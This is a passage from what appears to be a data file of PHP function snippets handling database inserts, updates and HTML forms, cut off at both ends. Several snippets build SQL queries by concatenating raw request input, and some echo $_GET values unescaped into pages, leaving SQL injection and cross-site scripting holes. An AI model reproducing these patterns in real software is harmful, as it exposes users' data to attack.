$insert_query = db_insert('user_getmms')\r\n ->fields(array('code', 'description'))\r\n ->values(array(\r\n 'code' => $code,\r\n 'description' => $description, ))\r\n ->execute();\r\n }\r\n $new_array = array($code => $description);\r\n $final_array = array_merge($new_array, $final_array);\r\n }\r\n $select_query =db_select('user_getmms', 'u')\r\n ->fields('u', array('code', 'description'))\r\n ->execute();\r\n while ($record =$select_query->fetchAllKeyed()) {\r\n $search_result= $record;\r\n }\r\n $diffs = array();\r\n $diffs = array_diff_key($search_result, $final_array);\r\n foreach ($diffs as $key => $value ) {\r\n $delete_query = db_delete('user_mms')\r\n ->condition('code', $key)\r\n ->execute();\r\n }\r\n\t}\r\n}", "public function simpanDataPengadilan($post){\n\t\t$connection \t= $this->db;\n\t\t$isNewRecord \t= htmlspecialchars($post['isNewRecord'], ENT_QUOTES);\n\t\t$tingkat \t\t= htmlspecialchars($post['tingkat'], ENT_QUOTES);\n\t\t$propinsi \t\t= htmlspecialchars($post['propinsi'], ENT_QUOTES);\n\t\t$kabupaten \t\t= htmlspecialchars($post['kabupaten'], ENT_QUOTES);\n\t\t$deskripsi \t\t= htmlspecialchars($post['deskripsi'], ENT_QUOTES);\n\t\t$alamat \t\t= htmlspecialchars($post['alamat'], ENT_QUOTES);\n\t\t\n\t\tif($tingkat == \"\" || $propinsi == \"\"){\n\t\t\treturn array(\"hasil\"=>false, \"error\"=>\"* Tingkat pengadilan, dan provinsi harus diisi\");\n\t\t} else if($tingkat == \"2\" && ($propinsi == \"\" || $kabupaten == \"\")){\n\t\t\treturn array(\"hasil\"=>false, \"error\"=>\"* Tingkat pengadilan, provinsi, dan kabupaten harus diisi\");\n\t\t} else{\n\t\t\t$transaction = $connection->beginTransaction();\n\t\t\ttry {\n\t\t\t\tif($isNewRecord){\n\t\t\t\t\tif($tingkat == 1){\n\t\t\t\t\t\t$cek1 = \"select deskripsi from datun.m_propinsi where id_prop = '\".$propinsi.\"'\";\n\t\t\t\t\t\t$prop = $connection->createCommand($cek1)->queryScalar();\n\t\t\t\t\t\t$sql1 = \"insert into datun.pengadilan_tk1 values('\".$propinsi.\"', 'Pengadilan Tinggi \".ucwords(strtolower($prop)).\"', '\".$alamat.\"')\";\n\t\t\t\t\t} else if($tingkat == 2){\n\t\t\t\t\t\t$cek1 = \"select deskripsi_kabupaten_kota from datun.m_kabupaten where id_prop = '\".$propinsi.\"' and id_kabupaten_kota = '\".$kabupaten.\"'\";\n\t\t\t\t\t\t$prop = $connection->createCommand($cek1)->queryScalar();\n\t\t\t\t\t\t$sql1 = \"insert into datun.pengadilan_tk2 values('\".$propinsi.\"', '\".$kabupaten.\"', 'Pengadilan Negeri \".ucwords(strtolower($prop)).\"', '\".$alamat.\"')\";\n\t\t\t\t\t}\n\t\t\t\t} else{\n\t\t\t\t\tif($kabupaten == '00'){\n\t\t\t\t\t\t$sql1 = \"update datun.pengadilan_tk1 set deskripsi_tk1 = '\".$deskripsi.\"', alamat = '\".$alamat.\"' where kode_pengadilan_tk1 = '\".$propinsi.\"'\";\n\t\t\t\t\t} else{\n\t\t\t\t\t\t$sql1 = \"update datun.pengadilan_tk2 set deskripsi_tk2 = '\".$deskripsi.\"', alamat = '\".$alamat.\"' where kode_pengadilan_tk1 = '\".$propinsi.\"' \n\t\t\t\t\t\t\t\tand kode_pengadilan_tk2 = '\".$kabupaten.\"'\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$connection->createCommand($sql1)->execute();\n\t\t\t\t$transaction->commit();\n\t\t\t\treturn array(\"hasil\"=>true, \"error\"=>\"Maaf, data gagal disimpan\");\n\t\t\t} catch (\\Exception $e) {\n\t\t\t\t$transaction->rollBack();\n\t\t\t\treturn array(\"hasil\"=>false, \"error\"=>\"Maaf, data gagal disimpan\");\n\t\t\t}\n\t\t}\n\t}", "public function setDataLaporan($data) {\n $this->db->insert($this->table,$data); \n }", "function exec_query_0($sql_query,$flag) {\n\t\t\t$arrAllData = array();\n\t\t\t$result = mysqli_query($this->conexion_0, $sql_query) or die (json_encode(array(\"success\" => \"false\", \"m\" => \"record not inserted. \" . $sql_query)));\n\t\t\t\n\t\t\tswitch($flag) {\n\t\t\t\tcase 'INS':\n\t\t\t\t\tif($result) { return mysqli_insert_id($this->conexion_0); }\n\t\t\t\tbreak;\n\t\t\t\tcase 'SEL':\n\t\t\t\t\t$arrData = mysqli_fetch_array($result, MYSQLI_ASSOC);\n\t\t\t\t\treturn $arrData;\n\t\t\t\tbreak;\n\t\t\t\tcase 'ALL' :\n\t\t\t\t\t while($row = mysqli_fetch_array($result, MYSQLI_ASSOC) ) {\n\t\t\t\t\t\t\t$arrAllData[] = $row;\n\t\t\t\t\t }\n\t\t\t\t\t return $arrAllData;\n\t\t\t\tbreak;\n\t\t\t\tcase 'DEL':\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}", "function Ubah($SelectDB){\r\n\t\t\t\r\n\t\t\t// Ubah Data\r\n\t\t\tif(isset($_POST['Cmd_Change'])){\r\n\t\t\t\t$ID = $_POST['Id'];\r\n\t\t\t\t$Nama\t = $_POST['nama'];\r\n\t\t\t\t$Email\t = $_POST['email'];\r\n\t\t\t\t$Website = $_POST['website'];\r\n\t\t\t\t$Alamat = $_POST['alamat'];\r\n\t\t\t\t$Kota = $_POST['kota'];\r\n\t\t\t\t$Message = $_POST['message'];\r\n\t\t\t\t$Tanggal = $_POST['tanggal'];\r\n\t\t\t\t$Tanggal_New = date('l-d-F-Y H:i:s');\r\n\t\t\t\tif(!empty($Nama) && !empty($Email) && !empty($Website) && !empty($Alamat) && !empty($Kota) && !empty($Message)){\r\n\t\t\t\t\t$Change = mysqli_query($SelectDB,\"UPDATE Guest SET Nama='\".$Nama.\"',Email=\".$Email.\",Website=\".$Website.\",Alamat='\".$Alamat.\"',Kota=\".$CKota.\",Pesan='\".$Message.\"',Tanggal='\".$Tanggal_New.\"' WHERE ID=$ID\");\r\n\t\t\t\t\tif($Change && isset($_GET['Action'])){\r\n\t\t\t\t\t\tif($_GET['Action'] == 'Update'){\r\n\t\t\t\t\t\t\theader('location: Index.php');\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$Pesan = \"Data tidak lengkap!\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// Tampilkan Form Ubah\r\n\t\t\tif(isset($_GET['Id'])){\r\n\t\t\t?>\r\n\t\t\t<a href=\"Index.php\"> &laquo; Home</a> | \r\n\t\t\t<a href=\"Index.php?Action=Create\"> (+) Tambah Data</a>\r\n\t\t\t<hr>\r\n\t\t\t\r\n\t\t<form action=\"\" method=\"POST\">\r\n\t\t\t<fieldset>\r\n\t\t\t\t<legend><h2>Ubah Data</h2></legend>\r\n\t\t\t\t<table border=\"1\" cellpadding=\"10\">\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>ID : </td> <td><input type=\"text\" name=\"Id\" value=\"<?php echo $_GET['Id'] ?>\" disabled /></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Nama Lengkap : </td> <td><input type=\"text\" name=\"nama\" placeholder=\"<?php echo $_GET['Nama'] ?>\"/></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Email : </td> <td><input type=\"text\" name=\"email\" placeholder=\"<?php echo $_GET['Email'] ?>\" required /></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Website : </td> <td><input type=\"text\" name=\"website\" placeholder=\"<?php echo $_GET['Website'] ?>\" /></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Alamat : </td> <td><textarea name=\"alamat\" rows=\"5\" cols=\"50\" placeholder=\"<?php echo $_GET['Alamat'] ?>\" required></textarea></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Kota :</td> <td><input type=\"text\" name=\"kota\" placeholder=\"<?php echo $_GET['Kota'] ?>\" required /></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Pesan\t\t:</td> <td><textarea name=\"pesan\" rows=\"5\" cols=\"50\" placeholder=\"<?php echo $_GET['Message'] ?>\" required></textarea></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Tanggal\t\t:</td> <td><input type=\"Text\" name=\"tanggal\" value=\"<?php echo $_GET['Tanggal'] ?>\" disabled /></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td colspan=\"2\">\r\n\t\t\t\t\t\t\t<input type=\"submit\" name=\"Cmd_Change\" value=\"Submit\" />\r\n\t\t\t\t\t\t\t<input type=\"button\" name=\"Cmd_Cancel\" value=\"Delete\" onclick=\"window.location.href='Index.php?Action=Delete&Id=<?php echo $_GET['Id'] ?>'\" />\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td colspan=\"2\">\r\n\t\t\t\t\t\t\t<p><?php echo isset($Pesan) ? $Pesan : \"\" ?></p>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t</table>\r\n\t\t\t</fieldset>\r\n\t\t</form>\r\n\t\t<?php\r\n\t\t\t}\r\n\t\t}", "function setDataRow($table,$data,$id) {\r\n\t\t\r\n\t\tif (!$table) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\t$db =& JFactory::getDBO();\r\n\t\t$wert = new StdClass();\r\n\t\t\r\n\t\t\r\n\t\tforeach( $data as $key => $content ) {\r\n\t\t\t$wert->$key = $content;\r\n\t\t}\r\n\t\t\r\n\t\tif ( !$id ) {\r\n\t\t\t$wert->id = null;\r\n\t\t\t\r\n\t\t\tif ( !$db->insertObject($table, $wert, 'id') ) {\r\n\t\t\t\t//echo $db->getQuery();\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t//echo $db->getQuery();\r\n\t\t\treturn $db->insertid();\r\n\t\t\r\n\t\t} else {\r\n\t\t\t$wert->id = $id;\r\n\t\t\t\r\n\t\t\tif ( !$db->updateObject($table, $wert, 'id') ) {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t//echo $db->getQuery();\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\treturn false;\r\n\t}", "function saveData()\n{\n global $f;\n global $db;\n global $isNew;\n if ($db->connect()) {\n /// Cek apakah ada nomer reuest ada yang sama\n $noReq = $f->getValue('dataConsPurchaseNo');\n $noReqMatch = $f->getValue('dataReqNoMatch');\n if ($isNew) {\n $found = checkExistNo($noReq);\n } elseif ($noReq != $noReqMatch) {\n $found = checkExistNo($noReq);\n }\n $strMessage = \"\";\n if ($found > 0) {\n $strMessage = \"Your Number Request Has Exist\";\n } else {\n $tblSave = new cGaConsumablePurchase();\n //$dataGaPurchaseRequest = new cGaPurchaseRequest;\n $data = [\n \"id_item\" => $f->getValue('dataIdItem'),\n \"request_date\" => $f->getValue('dataRequestDate'),\n \"item_amount\" => $f->getValue('dataItemAmount'),\n \"remark\" => $f->getValue('dataRemark'),\n \"consumable_purchase_no\" => $f->getValue('dataConsPurchaseNo'),\n \"id_consumable_request\" => $f->getValue('dataConsReqNo')\n ];\n // simpan data donation\n $bolSuccess = false;\n if ($isNew) {\n // data baru\n $bolSuccess = $tblSave->insert($data);\n } else {\n $bolSuccess = $tblSave->update(\"id='\" . $f->getValue('dataID') . \"'\", $data);\n }\n if ($bolSuccess) {\n if ($isNew) {\n $f->setValue('dataID', $tblSave->getLastInsertId());\n } else {\n $f->setValue('dataID', $f->getValue('dataID'));\n }\n }\n $strMessage = $tblSave->strMessage;\n }\n } else {\n $f->message = \"no connection\";\n $f->msgClass = \"bgError\";\n }\n $f->message = $strMessage;\n}", "function _list($lp_n, $a, $p){\r\n global $conn; // Jadikan global\r\n \r\n // Buat sql untuk cek apakah row sudah ada atau belum\r\n $sql = \"SELECT * FROM data_list WHERE id_sntr = $a AND nama_lprn = '$lp_n'\";\r\n $cek = mysqli_num_rows( mysqli_query($conn, $sql) );\r\n\r\n // Dapatkan id dari row yang diinginkan\r\n $id_list = mysqli_fetch_assoc(mysqli_query($conn, $sql))[\"id_list\"];\r\n\r\n // Cek ttd_pembina diceklis atau tidak\r\n if ( $p === \"0000-00-00 00:00:00\" ) {\r\n // Jika tidak diceklism, hapus row lama atau biarkan\r\n $sql = \"DELETE FROM data_list WHERE id_list = $id_list\";\r\n } else {\r\n // Jiak diceklis, cek apakah row sudah ada atau belum\r\n if ( $cek > 0 ) {\r\n // Jika sudah ada maka update row dengan data baru\r\n $sql = \"UPDATE data_list SET\r\n id_list = $id_list,\r\n id_sntr = $a,\r\n nama_lprn = '$lp_n',\r\n wktu_lprn = '$p'\r\n WHERE id_list = $id_list\";\r\n } else {\r\n // Jika belum, buat row baru dan masukkan data \r\n $sql = \"INSERT INTO data_list (id_list, id_sntr, nama_lprn, wktu_lprn)\r\n VALUE ('', $a, '$lp_n', '$p')\";\r\n }\r\n }\r\n\r\n // Ambil data sql dan update\r\n mysqli_query($conn, $sql);\r\n}", "public function mengubah($data){\n\t\t$ps =$this->koneksi->prepare($sql);\n\t\t$ps ->execute($data);\n\t}", "function _prepareData($query=null,$parent=null,$active=null)\n {\n /*\n chu y khi lay du lieu nhom du lieu theo t.void ,t.parent_id,t.ordering de qua trinh su li phia sau duoc nhanh chong va hien thi dung\n */\n $key=$this->key;\n if(!$query)// neu khong truyen\n {\n $query= ' SELECT * '.\n ' FROM '.$this->table;\n\n\n }\n $where =array();\n if(!is_null($active))\n $where[] =$this->field_status.' = '.(int)$active;\n //==========\n if(!is_null($parent))\n {\n if(is_array($parent))// neu la mang tuc la muon loai bo/ chi lay nhieu nhanh Term chu khong phai la loai bo 1 nhanh Term nua ( Tinh nang phan quyen chuyen muc)\n {\n if($parent['type'] == 1)// chi lay cac term trong danh sach\n $where[] =$key.' IN ('.$parent['list'].')';\n else\n $where[] = $key.' NOT IN ('.$parent['list'].')';\n }\n else\n {\n $where[] =$key.' <> '.(int)$parent; // loai bo term ( hay gap khi edit Term)\n }\n }\n //=========\n $ORDERBY= ' ORDER BY '.$this->field_parent_id .','.$this->field_sort_order;\n //=========\n if($where)\n $query .=' WHERE ' .implode(' AND ',$where).$ORDERBY;\n else\n $query .=$ORDERBY;\n // echo $query;\n //$parents = $this->query($query);\n $rows = $this->db->query($query);\n $parents = $rows->result();\n // echo $this->db->last_query();\n //pr($parents);\n //====== B_Auto Translate Language ===========\n //ko bien dich khi dang trong quan tri\n /* if($this->auto_translate && $this->area !='admin' && $this->config->item('active_multi_language','main')){\n $parents= $this->translateList($parents);\n }*/\n //====== E_Auto Translate Language ===========\n //print_r( $parents);\n return $parents;\n }", "function tabledata_Fiche($table, $serveur, $field, $key , $idLigne, $modeFiche =\"voir\")\r\n{\r\n\r\n $nombre_Enregistrements = 0;\r\n\r\n // $mode : possible ajout, modif, voir , effacer\r\n switch ($modeFiche)\r\n {\r\n case \"ajout\" :\r\n $boolSQL = false;\r\n $txtReadonly = \"\";\r\n $nombre_Enregistrements = 1; // pour forcer passage car pas de requete\r\n break;\r\n case \"effacer\" :\r\n $boolSQL = true;\r\n $txtReadonly = \" READONLY \";\r\n break;\r\n case \"modif\" :\r\n $boolSQL = true;\r\n $txtReadonly = \"\";\r\n break;\r\n case \"voir\" :\r\n $boolSQL = true;\r\n $txtReadonly = \" READONLY \";\r\n break;\r\n default :\r\n $boolSQL = false;\r\n $txtReadonly = \" READONLY \";\r\n }\r\n\r\n if ($boolSQL)\r\n {\r\n $sqlResult = tabledata_Cde_select($table , $field,\"\",\"\", $key, $idLigne);\r\n $nombre_Enregistrements = sql_count($sqlResult); //2.0\r\n }\r\n\r\n if ($nombre_Enregistrements>0)\r\n {\r\n $total = '';\r\n $hiddens = '';\r\n\r\n if ($boolSQL)\r\n {\r\n $tabUnEnregistrement = sql_fetch($sqlResult);\r\n }\r\n else\r\n {\r\n foreach ($field as $k => $v)\r\n {\r\n $tabUnEnregistrement[$k] = \"\";\r\n }\r\n }\r\n\r\n foreach ($field as $k => $v)\r\n {\r\n if (array_search($k, $key) == \"PRIMARY KEY\")\r\n {\r\n if ($boolSQL)\r\n {\r\n $strDebut = \"Enregistrement ayant comme cl&#233; primaire :<br/><i><b>\"\r\n .$k.\"='\".$tabUnEnregistrement[$k].\"'</b></i><br/>\";\r\n }\r\n }\r\n else\r\n {\r\n preg_match(\"/^ *([A-Za-z]+) *(\\(([^)]+)\\))?(.*DEFAULT *'(.*)')?/\", $v, $m);\r\n $type = $m[1];\r\n $s = ($m[5] ? \" value='$m[5]' \" : '');\r\n $t = $m[3];\r\n if ($m[2])\r\n {\r\n if (is_numeric($t))\r\n {\r\n if ($t <= 32)\r\n {\r\n $s .= \" sizemax='$t' size='\" . ($t * 2) . \"'\";\r\n }\r\n else\r\n {\r\n $type = 'BLOB';\r\n }\r\n }\r\n else\r\n {\r\n preg_match(\"/^ *'?(.*[^'])'? *$/\", $t, $m2); $t = $m2[1];\r\n }\r\n }\r\n\r\n switch (strtoupper($type))\r\n {\r\n case TINYINT:\r\n if ($t==1)\r\n {\r\n $checked = \"\";\r\n if ($tabUnEnregistrement[$k] == 1)\r\n {\r\n $checked = \" checked\";\r\n }\r\n $s = \"<td>\"\r\n .\"<input type='checkbox' name='\".$k.\"'\"\r\n .\" value='1'\".$checked.$txtReadonly.\"/>\"\r\n .\"</td>\\n\";\r\n break;\r\n }\r\n case INT:\r\n case INTEGER:\r\n case BIGINT:\r\n case TINYINT:\r\n case CHAR:\r\n case VARCHAR:\r\n case TEXT:\r\n case TINYTEXT:\r\n case TINYBLOB:\r\n case YEAR:\r\n case DATETIME:\r\n case DATE:\r\n case TIME:\r\n $s = \"<td>\"\r\n .\"<input type='text'\".$s.\" name='\".$k.\"'\"\r\n .\" value='\".htmlentities(utf8_decode($tabUnEnregistrement[$k]), ENT_QUOTES)\r\n .\"'\".$txtReadonly.\"/>\"\r\n .\"</td>\\n\";\r\n break;\r\n case ENUM:\r\n case SET: //ajout JFM\r\n $s = \"<td><select name='\".$k.\"'\".$txtReadonly.\">\\n\";\r\n foreach (preg_split(\"/'? *, *'?/\",$t) as $v)\r\n {\r\n if ($tabUnEnregistrement[$k]==$v)\r\n {\r\n $s .= \"<option selected>\".$v.\"</option>\\n\";\r\n }\r\n else\r\n {\r\n $s .= \"<option>\".$v.\"</option>\\n\";\r\n }\r\n } //foreach (preg_split(\"/'? *, *'?/\",$t) as $v)\r\n $s .= \"</select></td>\\n\";\r\n break;\r\n case TIMESTAMP:\r\n $s = '';\r\n if ($mode==\"ajout\")\r\n {\r\n $hiddens .= \"<input type='hidden' name='\".$k.\"' value='NOW()'/>\\n\";\r\n }\r\n else\r\n {\r\n $hiddens .= \"<input type='hidden' name='\".$k.\"' value='\".$v.\"'/>\\n\";\r\n }\r\n break;\r\n case LONGBLOB:\r\n $s = \"<td><textarea name='$k' cols='45' rows='20'\".$txtReadonly.\">\".htmlentities(utf8_decode($tabUnEnregistrement[$k]), ENT_QUOTES ).\"</textarea></td>\\n\"; //modif. JFM\r\n break;\r\n default:\r\n $t = floor($t / 45)+1;\r\n $s = \"<td><textarea name='$k' cols='45' rows='$t'\".$txtReadonly.\">\".htmlentities(utf8_decode($tabUnEnregistrement[$k]), ENT_QUOTES ).\"</textarea></td>\\n\";\r\n break;\r\n } //switch (strtoupper($type))\r\n if ($s)\r\n $total .= \"<tr><td>$k</td>\\n$s</tr>\\n\";\r\n }\r\n }\r\n $hiddens .= \"<input type='hidden' name='serveur' value='\".$serveur.\"'/>\\n\";\r\n $hiddens .= \"<input type='hidden' name='table' value='\".$table.\"'/>\\n\";\r\n $hiddens .= \"<input type='hidden' name='mode' value='\".$mode.\"'/>\\n\";\r\n\r\n\r\n // $idLigne = htmlentities(stripcslashes($idLigne), ENT_QUOTES );\r\n $idLigne = htmlentities($idLigne, ENT_QUOTES );\r\n\r\n switch ($modeFiche)\r\n {\r\n case \"ajout\" :\r\n $txtbouton =\"Ajouter\";\r\n break;\r\n case \"effacer\" :\r\n $hiddens .= \"<input type='hidden' name='id_ligne' value='\".$idLigne.\"'/>\\n\";\r\n $hiddens .= \"<input type='hidden' name='tdaction' value='ordresuplig'/>\\n\";\r\n $txtbouton =\"Effacer d&#233;finitivement\";\r\n break;\r\n case \"modif\" :\r\n $hiddens .= \"<input type='hidden' name='id_ligne' value='\".$idLigne.\"'/>\\n\";\r\n $hiddens .= \"<input type='hidden' name='tdaction' value='maj'/>\\n\";\r\n $txtbouton =\"Modifier\";\r\n break;\r\n case \"voir\" :\r\n $hiddens .= \"<input type='hidden' name='id_ligne' value='\".$idLigne.\"'/>\\n\";\r\n $hiddens .= \"<input type='hidden' name='tdaction' value='AUCUN'/>\\n\";\r\n $txtbouton =\"--\";\r\n break;\r\n default:\r\n $hiddens .= \"<input type='hidden' name='tdaction' value='AUCUN'/>\\n\";\r\n $txtbouton =\"AUCUN\";\r\n }\r\n\r\n return \"\\n\\n\\n\".tabledata_url_generer_post_ecrire(\r\n 'tabledata'\r\n , \"<table>\\n\".$strDebut.$total\r\n .\"</table>\".$hiddens,$txtbouton);\r\n } // if ($nombre_Enregistrements>0)\r\n\r\n}", "function doAdd(){\n $aksi = $_GET[act]; \n?>\n<div class=\"tabelku col-md-5\">\n\t<div class=\"box-body\">\n <div class=\"content-header\"><h3><b><label>Data Pelanggan</label></b><h3></a></div>\n\t\t<form action=\"aksi.php?mod=pelanggan&act=insert\" method=\"post\" id=\"pelanggan1\" enctype=\"multipart/form-data\">\n\t\t \n\t\t <?php\n\t\t\t\t$no_max=mysql_query(\"SELECT ifnull(max(id),0)+1 AS reg FROM pelanggan\");\n\t $n=mysql_fetch_array($no_max);\n\t\t\t\t\n\t\t\t\tif($aksi == \"editpelanggan\"){\n \t $edit=mysql_query(\"SELECT * FROM pelanggan where id='$_GET[id]'\");\n\t $d=mysql_fetch_array($edit); \n \t }\n ?> \n\t\t\t\t\n <input type=\"hidden\" name=\"id\" id=\"id\" value=\"<?php echo\"$n[reg]\";?>\" />\n\t\t<input type=\"hidden\" name=\"id2\" id=\"id2\" value=\"<?php echo\"$_GET[id]\";?>\" />\n <input type=\"hidden\" name=\"aksi\" id=\"aksi\" value=\"<?php echo\"$aksi\";?>\" />\n \t\n\t\t\t<?php if( $aksi == \"addpelanggan\" ) {?>\n\t\t\t\t<div class=\"form-group\">\n\t\t\t\t <label>Nama (Perusahaan)</label>\n\t\t\t\t <input class=\"form-control\" placeholder=\"Nama Pelanggan\" name=\"nm_pelanggan\" id=\"nm_pelanggan\" type=\"text\" >\n\t\t\t\t</div>\n\t\t\t<?php } else {?>\n\t\t\t\t<div class=\"form-group\">\n\t\t\t\t <label>Nama (Perusahaan)</label>\n\t\t\t\t <input class=\"form-control\" placeholder=\"Nama Pelanggan\" name=\"nm_pelanggan\" id=\"nm_pelanggan\" type=\"text\" value=\"<?php echo\"$d[nm_pelanggan]\"?>\" >\n\t\t\t\t</div>\n\t\t\t<?php }?>\n\t\t\t\n\t\t\t<?php if( $aksi == \"addpelanggan\" ) {?>\n\t\t\t\t<div class=\"form-group\">\n\t\t\t\t <label>Alamat </label>\n\t\t\t\t <textarea class=\"form-control\" placeholder=\"Alamat Pelanggan\" name=\"almt_pelanggan\" id=\"almt_pelanggan\" type=\"text\"></textarea>\n\t\t\t\t</div>\n\t\t\t<?php } else {?>\n\t\t\t\t<div class=\"form-group\">\n\t\t\t\t <label>Alamat </label>\n\t\t\t\t <textarea class=\"form-control\" placeholder=\"Alamat Pelanggan\" name=\"almt_pelanggan\" id=\"almt_pelanggan\" type=\"text\"><?php echo\"$d[almt_pelanggan]\"?></textarea>\n\t\t\t\t</div>\n\t\t\t<?php }?>\n\t\t\t\n\t\t\t<?php if( $aksi == \"addpelanggan\" ) {?>\n\t\t\t\t<div class=\"form-group\">\n\t\t\t\t <label>No Telp </label>\n\t\t\t\t <input class=\"form-control\" placeholder=\"No telp Pelanggan\" name=\"no_telp\" id=\"no_telp\" type=\"text\" >\n\t\t\t\t</div>\n\t\t\t<?php } else {?>\n\t\t\t\t<div class=\"form-group\">\n\t\t\t\t <label>No Telp</label>\n\t\t\t\t <input class=\"form-control\" placeholder=\"No telp Pelanggan\" name=\"no_telp\" id=\"no_telp\" type=\"text\" value=\"<?php echo\"$d[no_telp]\"?>\" >\n\t\t\t\t</div>\n\t\t\t<?php }?>\n\t\t\t\n\t\t\t<?php if( $aksi == \"addpelanggan\" ) {?>\n\t\t\t\t<div class=\"form-group\">\n\t\t\t\t <label>Email </label>\n\t\t\t\t <input class=\"form-control\" placeholder=\"Email Pelanggan\" name=\"email\" id=\"email\" type=\"text\" >\n\t\t\t\t</div>\n\t\t\t<?php } else {?>\n\t\t\t\t<div class=\"form-group\">\n\t\t\t\t <label>Email</label>\n\t\t\t\t <input class=\"form-control\" placeholder=\"Email Pelanggan\" name=\"email\" id=\"email\" type=\"text\" value=\"<?php echo\"$d[email]\"?>\" >\n\t\t\t\t</div>\n\t\t\t<?php }?>\n\t\t\t\n <div class=\"form-group\" >\n <input type=\"submit\" class=\"btn btn-info\" value=\"simpan\">\n <input type=\"button\" class=\"btn btn-danger\" onClick='self.history.back()' value=\"batal\">\n\t\t\t</div> \n\t\t</form>\n\t</div>\n</div>\n<?php\n}", "function EditData($conn)\r\n{\r\n\r\n\tphpmkr_query('START TRANSACTION;', $conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: BEGIN TRAN');\r\n\t\r\n//SOLICITUD\r\n\r\n\t// Field credito_tipo_id\r\n\t$theValue = ($GLOBALS[\"x_credito_tipo_id\"] != \"\") ? intval($GLOBALS[\"x_credito_tipo_id\"]) : \"NULL\";\r\n\t$fieldList[\"`credito_tipo_id`\"] = $theValue;\r\n\r\n\t// Field solicitud_status_id\r\n\t$theValue = ($GLOBALS[\"x_solicitud_status_id\"] != \"\") ? intval($GLOBALS[\"x_solicitud_status_id\"]) : \"NULL\";\r\n\t$fieldList[\"`solicitud_status_id`\"] = $theValue;\r\n\r\n\t// Field folio\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_folio\"]) : $GLOBALS[\"x_folio\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`folio`\"] = $theValue;\r\n\r\n\t// Field fecha_registro\r\n\t$theValue = ($GLOBALS[\"x_fecha_registro\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_registro\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_registro`\"] = $theValue;\r\n\r\n\t// Field promotor_id\r\n\t$theValue = ($GLOBALS[\"x_promotor_id\"] != \"\") ? intval($GLOBALS[\"x_promotor_id\"]) : \"NULL\";\r\n\t$fieldList[\"`promotor_id`\"] = $theValue;\r\n\r\n\t// Field importe_solicitado\r\n\t$theValue = ($GLOBALS[\"x_importe_solicitado\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_importe_solicitado\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`importe_solicitado`\"] = $theValue;\r\n\r\n\t// Field plazo\r\n\t$theValue = ($GLOBALS[\"x_plazo_id\"] != \"\") ? intval($GLOBALS[\"x_plazo_id\"]) : \"NULL\";\r\n\t$fieldList[\"`plazo_id`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_forma_pago_id\"] != \"\") ? intval($GLOBALS[\"x_forma_pago_id\"]) : \"NULL\";\r\n\t$fieldList[\"`forma_pago_id`\"] = $theValue;\r\n\r\n\t// Field contrato\r\n\t$theValue = $GLOBALS[\"x_contrato\"][0];\r\n\t$theValue = ($theValue != \"\") ? intval($theValue) : \"NULL\";\r\n\t$fieldList[\"`contrato`\"] = $theValue;\r\n\r\n\t// Field pagare\r\n\t$theValue = $GLOBALS[\"x_pagare\"][0];\r\n\t$theValue = ($theValue != \"\") ? intval($theValue) : \"NULL\";\r\n\t$fieldList[\"`pagare`\"] = $theValue;\r\n\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_comentario_promotor\"]) : $GLOBALS[\"x_comentario_promotor\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`comentario_promotor`\"] = $theValue;\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_comentario_comite\"]) : $GLOBALS[\"x_comentario_comite\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`comentario_comite`\"] = $theValue;\r\n\r\n\r\n\r\n\t// solicitud_anterior\r\n\t$x_solicitud_id_ant = $GLOBALS[\"x_solicitud_id\"];\r\n\t$fieldList[\"`solicitud_id_ant`\"] = $GLOBALS[\"x_solicitud_id\"];\r\n\r\n\r\n$theValue = ($GLOBALS[\"x_actividad_id\"] != \"\") ? intval($GLOBALS[\"x_actividad_id\"]) : \"0\";\r\n\t$fieldList[\"`actividad_id`\"] = $theValue;\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_actividad_desc\"]) : $GLOBALS[\"x_actividad_desc\"]; \r\n\t$theValue = ($theValue != 